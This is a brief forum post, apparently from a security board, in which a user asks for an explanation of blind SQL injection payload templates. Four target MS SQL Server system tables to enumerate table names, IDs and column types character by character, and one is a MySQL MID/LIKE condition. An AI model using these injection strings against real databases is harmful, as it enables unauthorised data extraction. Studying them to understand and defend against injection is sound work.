Pi3cH |
Regular user |

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Joined: Dec 15, 2005 |
Posts: 7 |
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hi there
i have some question about below queries, could some one explain(analyze) them for me?
these queries use for blind sql injection.
Code: | 1. AND (SELECT COUNT(name) FROM sysobjects WHERE xtype=char(85)) > search_value
2. AND (SELECT MIN(id) FROM sysobjects WHERE id > prev_table_id AND xtype=char(85)) > search_value
3. AND (SELECT ASCII(SUBSTRING(name,character_counter,1)) FROM sysobjects WHERE id = table_id) > search_value
4. AND (SELECT TOP 1 (xtype) FROM syscolumns WHERE id = table_id AND colid = colid) > search_value |
and this is for mysql blind sql injection
Code: | AND MID($$$VAL$$$,1,1) LIKE CHAR(37) |
what is $$$VAL$$$ do there? |
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